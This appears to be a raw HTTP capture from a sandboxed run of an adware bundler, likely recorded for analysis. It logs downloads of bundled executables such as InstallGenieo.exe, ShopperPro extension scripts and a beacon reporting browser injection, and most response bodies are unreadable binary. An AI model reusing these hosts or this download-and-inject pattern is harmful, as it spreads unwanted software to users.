...{...?}.......|{..L.g.................w.w...w..(t.(.U]...-..._.K....
......w~1.=....7..h.>.{..;............x....d.....B../..?.%..|.'..o}
......M1..}.....?.]f...).........U....B?.XGD..4......w.]|...8..(xg....
.q.........



GET /js/sg_bg.js?AFFILIATE_ID=cfvt_sg&SUB_DISTRIBUTER_ID=iF2EwJSsmtycl&BRAND_DISPLAY_NAME=ShopperPro&FALLBACK_URL=http://i.sbitinjs.info/sbitin/javascript.js?hid=aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0&apptitle=ShopperPro&channel=iF2EwJSsmtycl HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: inst.shoppingate.info
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Sat, 14 Feb 2015 03:59:19 GMT
Content-Type: application/x-javascript
Transfer-Encoding: chunked
Connection: keep-alive
Last-Modified: Thu, 12 Feb 2015 09:31:04 GMT
ETag: W/"9ce52f9fa646d01:0"
X-SN: 07
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
Expires: Sun, 15 Feb 2015 03:59:19 GMT
Cache-Control: max-age=86400
X-Cache: HIT
Content-Encoding: gzip
62f6..............yW.I......w...JY...]..4.1.... \.....L-XHX....g..{c.L
..].3.....2..7..7>...on:......:.j..k.VwG..s.f4..'.o.J{8...n8.{....I
o8(..Vx...&..z.t{.(.L..p...?.... g.r.4..J........p.2.NV....di....,:n]e
......(...Ag.}.....q;.L......$q._..(....j....e.....JI...XN).....v]L.[O
Wz...5.Qv.^.c.YR...r...t}}6...>(.Po.f...9.......{...n.....u'Q.m..l2
..6......:..l0...[XS..M.[...K...a9]...4...T......7..?6./.PJ.m..mT.....
n......g......C..>..3 .i|..Ik\.:.TJ6.v.-..iB...=..v..M..c..JZWK..0.
r..............d...2.n.q..6............ T...l<.G....I7?.)3...x.~..m
.....Oc.........0.BBz.#..?....t.<:~._..w..N...=.....g....G....g....
...........g.7O._.......O.w........~.qp..yp.8;}k..Cy.........{o.......
Od..-..... S.Z-.....)V...-.T..B.C..C......h[|...G.C.*.cQR....SH.......
).A.fA*.Q|s....}.0..3^.....".....E...". q.....l@...*'.m\.......d'.....
.jXC.d....J.p..S/...Jj.....t.0....f......<....kks....... .i2..I..|.
g.n.MV.`..*.?s.8.[...[..... ..i.>`....Nt~Y...N..V....Z .......tv...
.Q..Pv...$.....i...A..j.....L.]...;.......w.i.].?d<...$;.Y]/...Y.!.
-..". K.m.5...[.ww.Z.......h.........'...`j.&..^..K....V.v..`=..3]...o
......X .(..U&.x...o.o.....fe.....kE...R...."X....;.Zpq1..K....S.$.x..
..;)m.......aE.....,\..5...2.N.W.4W...)O...vyP.F)... ..K..BF|s..\..z.1
..#..W./"M...r.c2.V.K.C}B.....4...b..W.QA..p.......UN..-....>M...[?
..B.I.qy....{..[R...I<.V.v.......(..t.....%I..*..&..j.ab [...~.....
.E..n".Jp.....< ;k.G.....Wo...P...)..p....~E.`p~u.%. ...N.....>@
.3q~......Hf{}P.......?.....~=@..<0.....z;[email protected]..
<<< skipped >>>


GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=494204-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: RIPJrl29dnLkaFpy7YpioGCWgJ3U3jNKFgeIiTcMtbgESpuuHzXNBkVH7/8NYx9T8q3VILwmROI=
x-amz-request-id: 07E21EA0E2F545FD
Date: Sat, 14 Feb 2015 04:01:11 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 494204-988407/988408
Content-Type: application/octet-stream
Content-Length: 494204
Server: AmazonS3
.;M@{..M.?..4R.[v. .-..bIcw.......b.....!..rf.P.........0.....{......y
..WL.D*^[email protected].)4......V.P!s...!pW6$~......T
..i...kQ.X..-.V.&...;.`...._B..-*.V.*[.S..?...)$\....i...E;........|p.
B|ON......:...@,.qX.vb8.%.<@..z.>_.RB..y.n.oX.AW1(....YU.4..O...
.Q...........A.z[.G..-z#......4/...X..N..l|.p..5!'hV.._.n..c..^.k...E.
....p..5B.......HEm.dh.4.sGUh..WP7.#...........:Z.].K"............B]W.
V...L0q~.].AB.`.trp.eW..J##..[.r,.(.&...."..G..B........#o..`....p...]
5{w.......%z......P}......Wj. M)^...5...Y.C._.7..*........'.. jI.c...t
..@$.X.ty...1.He...eV....}.l.R.2....A.P.....q....#"..58.Yg.f...(...1).
....,......|.#.KB...3H$..N...r...r.)...^.ST.$..?\.... 8,d....{ M...u..
:C........e..FL.j....S...MMd....%.N.i.....y.c..M..H....v.~5........:.f
DI...#.....0.(TH...sWso...:.#~....p....B!.....D."m..Xt..c,.m...e....z.
F*..m.Ci.Qt.....j.m*<...n.7...M..J......(..{....z......y.v.."@kNX.k
3{.m.[.._m\....(...Rz.ka..Qwb....3.\o.?.x..6........j..Do..j....)q....
]Q..}.. ....9....x.. b#Q/ .g.._.-Y.ZZ..r>2.e.\zu....d:w..].j..ma.0D
[........9..2.=...<....j..h.D.3Z..0.f.{$......i..tm..y.J.>.$.kz.
......_.....z...Q.K.(..=.7..I....C.9R_.z...w...B.... ..y...2.j..@'q.m.
.zs..}.........z...r).~....%.............]..rY0..Y.sgE...B.e.....|.<
;h..q.tLPw.....MD....z.....z..3..jP.KQ6>.I..#.{...gyf...@|..#....|.
.,t..m....q*.r.OLX`"B.....k....!n.Q;n......2vn....... a....{..|z...H..
..C.!.eGn.#.....-..m.R...N...._..e..k.&../p......b.....jq.L.-.c..q/..O
/b.......m....~.....:D.A&..Y...`...z..c..U...F...jZ.G.s....*..AI..
<<< skipped >>>


GET /res/helper.min.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: 4x3zy4ql-l8bu4n1j.netdna-ssl.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Sat, 14 Feb 2015 03:59:17 GMT
Content-Type: application/x-javascript; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=31536000
Expires: Sat, 14 Feb 2015 04:01:19 GMT
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Encoding: gzip
600a...............v.G....>......H.....U..%yj....m.I..........dB.Y.
{..w..B......Y....}.Z.."j..!22.........b...^....]..u#M.o...po...L...{^
..o........m......Y>_w{........n'..~Y.../.......g..b.l|.g..e..f..W{
....|@......Xu.u...7...m..u.o.q3....<.4..(....t...*)..q...>5...-
.z.a..G.q.O..#..w..F..H.........K.u.O:'.....A../..z...N#[.....cJ.6...f
...%.{.~|......|/{....h.....Z.,N^......h._S2~...u....{G.l:..$k...w.S..
Wt..*...e.{.uc.^N......s.....Z....:_6{I.HN{.m....w.Q....?.(.......RB..
.....4;.]...O.<<88.h9/q>.P..(.k.,.Ho.E<..<.....,[.{.km6
g.UP3;...E..............Q6.<..e..d........2.-~.k......y..Sh.."....8
.?i%...S.."..*..k.j.6...2..oW.l....|.SVum....Ze..t\.m.....`B.....a.1..
..\[email protected]...]L.{Z.}....t.....A....m.t=..y..^.8|...:Z/
.^...O.U.4..S.(_...G{7..9h%w..i[/.....zyc}....f.U.=..V.S....U..o7.....
.....2..l...z...f..........w.S..x.....O}....%./.l<.B.{F.Z......'".O
........s..Ma}..7..............Db..;$RA.T.......u..41O..H....A..qen.I:
...`]...Kn...EG...F.2.....K....FW....._.........H..7.f.6...zq..[...L..
vg.JT)..C...:.>......5......D.# ....zB.A...1...V3..S...Q...Q.<OU
&a...=-..(z.O[I9x.....g..0...H.;...m...9N..,A>....[.....]9.".q.Q|.&
lt;..f.:.Lzuj..fj*......5.........9`..AG.|...BW...V...6.9kD.7....\....
.ax?.$C.4.k.../.Uhe..z.;Z]O'.fc..<.....V.i~xx....Q{...Y~q.N../!...K
i....&......I.}.ZmM..4...r`.&..D...3_9..h?.....R.A)....U.l......f....r
~.<.-..T.....2.%..R..S..y!.=_...4Z.>.Q.r.......e6R=.......h.i..V
...1..m.v .....;.G8..cp0,E#.....o_f.o.....^w......F.S...&_.}.$....
<<< skipped >>>


GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=247102-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: hWo8oCFNrFF0DSdwEYYxQGx /pbF3esLaDH/cAS1CC/BX4jmVcdP9ss h6A8WL95igsb9nrMfxY=
x-amz-request-id: D8E82B5F42063481
Date: Sat, 14 Feb 2015 04:01:11 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 247102-988407/988408
Content-Type: application/octet-stream
Content-Length: 741306
Server: AmazonS3
-s...R.... .e.>7........... )..51.n4..@..)....ck.../.01-. Z?L....k.
...O..<2Ma....7..r.2....j....O.".A......dK..&G..Hj6.(.P....ZxVA.>
;...Sr.l:.86....6bq.....>.d-p~R{..jI.L..M. .8O....q..[..J4...T..l..
...m.......)e.C..A....I,cPy2|.."-...".M.O..v...=Q......|.......'..Z..I
}....Dw.....f.i...m.~.o..H'.j.....&.agE.`._`.>...[.:O...^4......3..
.7.{[email protected]...<......BY..4C.}..Qf.'(.....rRf?...q.=|....|....
[........E..Gu...oD2 ...E/....2$..k......o......E.. h.....s7..ouq...N.
.".o.....L.....%.8-...zG.._.|.B{.e(w.iy.....ALA.}.,.cf1%ZE-.U.....oa.F
.~|o.":,.N.s...N.^x....GT..(.!..oy'.N..?.L....7...)..f1nS.P.6....._v..
....._)S......`....qe0.d.DI............sq..su...{j..Y..'...;..6.{..@..
Os3p4T8.z...8....L.Q.F...H../...b...(..k._..z.a...f...0......}.......P
.|-.3.g...<.,w=P.tk_$..p..\,...K..*..........S.....l&..^C.q.J...OD.
..$..T..x...`........:Ea#"...fv....p.u.YWE.........m..E...CV....=sR...
=W.DC..jQ..o.74;9 .5y^.H&f.3..|X.......w. ..^./E...X..lC.|.hR.. ...._J
r..v...E..X~.D.Q.......5.>...A..v ...a~=..F ..{a"....yj F..].n.....
.=1H<.Z...n}.1.;.!7U3..........G..N...T......A.........m .....PcC\C
ek.w.........J.a....{*.>.u..]9.....2K.}.G@........$-H....=9....f&f.
.6l...M...u ..k.N).O..8J.~........i ..`5.........r..g`..../...E.....R.
..P......l$r.GTJ...\...v9..Y.D.!&e..aq...)%.'.[.....Pgx..../.PQ..yv..D
...#...m.|P!.l..s.$.q&=..d6T.jQ...]d....7c ...ll.s...X..`T.(Da.P..b..!
....A>..n."..H.....Rrc...C.T..J]Jx\*.....l...q2..q...R......?9..4l.
....F..3`{..x.`..d^.g............C..t.G.'xdA>y...m....m~..."..~
<<< skipped >>>


GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 200072
Connection: keep-alive
Date: Sun, 08 Feb 2015 06:04:13 GMT
x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH
x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537
Cache-Control: max-age=3600
Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT
ETag: "ef7d1863f4980ab0c8bda142fee67f92"
Accept-Ranges: bytes
Server: AmazonS3
Age: 377
X-Cache: Hit from cloudfront
Via: 1.1 8813babdd85ca691e150294142d51c61.cloudfront.net (CloudFront)
X-Amz-Cf-Id: rV-R8pKxOgLs9NUjCAOMhEPDmVAEquOkDNnhM6Y0dj45AhY59LGYFA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
...........................{........................................s.
[email protected]............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /affiliates/filesfrog/eula.html HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/032b51a823ded246ba19346b82f99535?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d2q90bop9bptps.cloudfront.net
If-Modified-Since: Sun, 26 Oct 2014 17:23:05 GMT
Connection: Keep-Alive


HTTP/1.1 304 Not Modified
Connection: keep-alive
Date: Sat, 14 Feb 2015 04:01:08 GMT
Server: nginx
Expires: Sun, 08 Feb 2015 05:08:20 GMT
Cache-Control: max-age=600
Age: 458
Vary: Accept-Encoding
X-Cache: Hit from cloudfront
Via: 1.1 761f19bc2f5721b0be0a41147e1e925f.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Jz4f4TgkDLZ0KzUm2i8DGoJ3t-H7GNAgQ0HLAtJjxhTI9gdxuA3x-A==



GET /gscodesigng2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRruLd2WRFk6cRYGFIqkQ4J8hxDogQUCG7YtpyKv+0+18N0XcyAH6gvUHoCEhEhR5HFQnItXEGJJ9zEpk51tw== HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp2.globalsign.com


HTTP/1.1 200 OK
Date: Sat, 14 Feb 2015 04:02:08 GMT
Content-Type: application/ocsp-response
Content-Length: 1474
Connection: keep-alive
Set-Cookie: __cfduid=d15b0c6a0c00a14c3aa28be86d6b80fa11423886528; expires=Sun, 14-Feb-16 04:02:08 GMT; path=/; domain=.globalsign.com; HttpOnly
X-Powered-By: Servlet/3.0; JBossAS-6
ETag: ac3df6d9abc37295d7cce2f245798c35b8f87ac4
Expires: Sat, 14 Feb 2015 05:20:17 GMT
Last-Modified: Fri, 13 Feb 2015 17:20:17 GMT
Cache-Control: max-age=180, public, no-transform, must-revalidate
CF-Cache-Status: HIT
Server: cloudflare-nginx
CF-RAY: 1b865e529d230cad-AMS
0..........0..... .....0......0...0......U.<r...{C...(.I.......2015
0213172017Z0u0s0K0... ........k..vY.d..X.R*.....C....n......>..t]..
../Pz...!G..Br-\A.'...Nu.....20150213172017Z....20150214052017Z0...*.H
..............;M.. -.u."f.%......2.8.`..f.,?..vL7.|hs9,..'.}.....D....
...m....4..1........b..h..Y}f.4..rD.&p..Z..........{..SK..-.H....s.7.9
...<..\q#..i.q.......G"u...q.[...e".F.a[..b.sl..#_w......WT..%.c\..
Y.pO.....~......G4m...g;hz..z..8..CP`.G....<.ab...........|.....0..
.0...0...........!....I~.Z.v.#...@0...*.H........0Q1.0...U....BE1.0...
U....GlobalSign nv-sa1'0%..U....GlobalSign CodeSigning CA - G20...1412
12162428Z..150312162428Z0}1.0...U....BE1.0...U....GlobalSign nv-sa1:08
..U...1GlobalSign CodeSigning CA - G2 OCSP responder - 21.0...U....201
412121724000.."0...*.H.............0.........rm...6y...M...... B.....)
.[.....W!..7wM.1 .....W7.......9...0...K.n..V..x..U............;.jrL.i
.i..Z.V..9......~.........o....i*~m..<............o. .2.P<...B..
C..5......#..H.*Y=....H.i%........x=.....k%..&.....|...".%6..u;Um".df*
..sy..S!...p[.>.&....c. .[........0..0...U....0.0...U...........0..
.U.%..0... .......0... .....0......0...U......U.<r...{C...(.I.....0
...U.#..0....n......>..t]..../Pz0...*.H.............5....9G....F...
.F..Sx...9n5K..S..B.OD...:=N...t..c2=.).1......Q<.*..O....94.e7..Y.
.A..:]r...ej..Q....p]...I......Kt...n..N.... .O.-JY.'..fqB..q~..J...I.
...o..a.n([email protected].........)3. ....n...}.:e.6Y........4E..
j..1qZ..\.Ymcp.V j5.....}....@..._..
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.thawte.com


HTTP/1.1 200 OK
Server: nginx/1.4.7
Content-Type: application/ocsp-response
Content-Length: 1503
content-transfer-encoding: binary
Cache-Control: max-age=487951, public, no-transform, must-revalidate
Last-Modified: Thu, 12 Feb 2015 19:32:48 GMT
Expires: Thu, 19 Feb 2015 19:32:48 GMT
Date: Sat, 14 Feb 2015 04:01:37 GMT
Connection: keep-alive
0..........0..... .....0......0...0......&Km...."....}....,.c..2015021
2193248Z0s0q0I0... ........0..k....&..p..^.X.....{[E....z.1..j..F.WHP.
.G.Mxs..../.p./.^....20150212193248Z....20150219193248Z0...*.H........
.....>.K.p...5.~`"....bN.B....ho.o..9......?C.....6..u;..Mm.F  .t..
...j.S4..F.F...&C....qgPJk.B..i.......E|[email protected].... .
[email protected].;/..~.KxyU......&Z..Z.=.Fx0...T(sF..g.kQ.s..9*...FO..
...`.l:.......v....i.&..%.M..T..LO&....H..6?.U.b...[......0...0...0...
.........I...*....^n...0...*.H........0..1.0...U....US1.0...U....thawt
e, Inc.1(0&..U....Certification Services Division1806..U.../(c) 2006 t
hawte, Inc. - For authorized use only1.0...U....thawte Primary Root CA
0...141202000000Z..151216235959Z0_1.0...U....US1.0...U....thawte, Inc.
1907..U...0thawte Primary Root OCSP Responder Certificate 30.."0...*.H
.............0.........x...F83..,.D.,2D.;JGc.|_.k.....B.7.....G}.M.s..
...S.i.Uu.h.Aq..v...4:l..U.......T7l...~vl...r....{*..........V.o..8|.
B..^.a.. ...z....x..s...\[Y....<....'> ..YC..7.zVk.$...o3..kao]c
...>C./bPX.......I..Oc.....NN......g.....,/..]......qN.....V!<.3
.)...y#.........i0g0...U.%..0... .......0... .....0......0...U.......0
.0...U...........0!..U....0...0.1.0...U....TGV-B-2770...*.H...........
.....lt..\..z. ..N.f.!.S5d?J.&....r...D........L.`.s.p...HC.L.8f... ..
.......GA7......P..Z.%.../............z.n.6~I...].).....W...W\|.uya..:
...^...hW..7.Z.uc.'....:.xL...HS.....>.........5......%....3S....h.
.......U....o.C.\.t.....G.._.C0(l.E9..6UTxg.gF ..;.....
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg= HTTP/1.1


Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.thawte.com


HTTP/1.1 200 OK
Server: nginx/1.4.7
Content-Type: application/ocsp-response
Content-Length: 1396
content-transfer-encoding: binary
Cache-Control: max-age=419892, public, no-transform, must-revalidate
Last-Modified: Thu, 12 Feb 2015 00:37:39 GMT
Expires: Thu, 19 Feb 2015 00:37:39 GMT
Date: Sat, 14 Feb 2015 04:01:37 GMT
Connection: keep-alive
0..p......i0..e.. .....0.....V0..R0...............w/.|`....a...2015021
2003739Z0s0q0I0... ........l....r.vdv0..*.~Y..X....e?z.4..G.L.......q.
...%..{.cj..}#.......20150212003739Z....20150219003739Z0...*.H........
.....F..W(.*".].Mx...........w....HT..bk..E6@'.z..~....$...........FH.
..$.*N..&.i.r.............g..o...SP...Rm......y......?4=..}...B.K4.v.e
)..T..J0:.H..I.l1g.E). ..,.<.c. -.....\t.1..l...H...I.n.F.../..._nl
..q....Vc..H7...#} [email protected]..:......'....A....0...0...0..y
[email protected]...*.H........0J1.0...U....US1.0...U....Thawte
, Inc.1$0"..U....Thawte Code Signing CA - G20...141210000000Z..1503102
35959Z0Y1.0...U....US1.0...U....Thawte, Inc.1301..U...*Thawte Code Sig
ning CA - G2 OCSP Responder0.."0...*.H.............0..........P.....].
8?e...8.0.. ...-.uP.3....pQ......mi..wVt.......<....{d.?..9..z%.?..
}.N`.V.........I.X...E#...*.f...X.;...75......%...n.%..#..T.<.....f
EQ.\\.f.{M.H...M..u...9~..C....B.o..........dc...V..,.........{...j.9.
xw?D..ooNf&=......D|.R..../.....So....*-5.......d0b0...U....0.0...U.%.
.0... .......0...U........0... .....0......0"..U....0...0.1.0...U....T
GV-B-25170...*.H.....................2.).xO...].6..R.k...H =d...L...(o
0#.......<O#.;[email protected]...^.q.Y...}....S(syt&...$..L..7<...nb|...]
2c..q..Q.L.3,.............n>....tND..fJ.&. .....%7.....f.31.>..d
...ET.E.~.x...]N...*.......n......HI..*M..t.......:.=.:..(2M".S.....&.
...................
<<< skipped >>>


GET /app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4K5qvJgvr/dJ8JV2jHZ9jAK2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUOJaNYNsM7TWeXVGwxO6WJTGfUAa7iw46Ynx1L6FK423hxG3lK6xuJY&product=EXTFirefox&rnd=1423886439&it=1&action=Inject&text=GeneralInjector HTTP/1.1
Host: rep.shopper-pro.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 04:00:39 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 20
15 04:00:39 GMT..Content-Length: 0..



GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 03:58:22 GMT
Content-Type: application/octet-stream
Content-Length: 1110476
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 0-1110475/1110476
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=277619-555238
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 04:01:12 GMT
Content-Type: application/octet-stream
Content-Length: 277620
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 277619-555238/1110476
.../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6..
.C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>...
...Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e
."T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|
X....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%............
........... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c
..ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..
f6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W.....
.0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;
. ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t...
.t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........m
s..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoY
I1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%.
..j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O
|.X>..."]..%H.;[email protected].. ........^...*.--....^n3.....2A....
...,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r.......
.........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v
:./M$..5...'4....Bey.0Y..*..#7...q.../.#N.@....__......<85d$.z.%G..
.(....-.d...I.........g....S:..&...2.....t..........h.c.......ty.G. .T
.k.>R....C...S.K.S.....,3LZe......a..#&SH.Q.R......4P......0}IC.h)N
.7..G....G1..........<..!.....=.I......S...tE.d.d.Y.......qf@I=nB..
......V...'...z.]y./.......ng..VY...y.|......2.J..'.^.z....W..d...
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=832858-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 03:57:01 GMT
Content-Type: application/octet-stream
Content-Length: 277618
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 832858-1110475/1110476
.'.. .O..l$.wQi.t...g%..4..........9:1`..?......]... ...Z....Br.B.....
.A.........i..T.#.F.d.[....C.xJ.K}..pF..J...<9.rgt....[p%..\u/...7.
~.K.......v#........a.=......h.....6......v.K...../VN.=..I.e.Cc.6..W@.
.,.dn.j..d.A{.A..D.Q.~...5...=L]>...|.H..},.^E..\F.c...D^.}]D....'[
L....`.3Dp..r....P.....-....v-.[0.\....22cK...^.=?c.t....a.........R.s
o1.lI..Q_./`..,\../.c.?...S...K.O?...j.....s.....($.k...,x.?......z...
w.(.^=..4J.S*K.qm...`oG.D.<6a.........R....`..QNx......:..=g.K.....
...X4........T-J.........j.sh....}..Y.`..MThf.')^.[..;.'..X.a..&.....-
...x.....{.b...a...3....9{Y...`S......\...&F[....8.QL....S....n.......
Sc..:...Zd...n..q....R......6n.90.q~....<.o....5............`..n...
.~.p...OUr...y.8}.R%....y.*[email protected]..
.`..l....S......l]j.../.<..{1k>H.h.m.......2O.....4.2..L...a.(c.
...F...._..7.]......C[.i.3u..e...........0...m.j..h>...R.mu..] d.4.
.v.......g........t...\.*C......u0......w.K3..M.U......^.d.\.X.~..:.p.
...O..tNgx.....c...o...'..AY....|..t .....\.U........RE...N ..-,.nPgqw
......p.H.bMz...HJ.OG\.*....!..G/%..<...T..x.tn=..[1..sB.......z.FS
.8I....;.....].7.... ...|HT.fE...pX....-.......6..,.$.~.;..b....EZ~..,
........A.-..-.. ......T<N,..O([email protected]=.>..
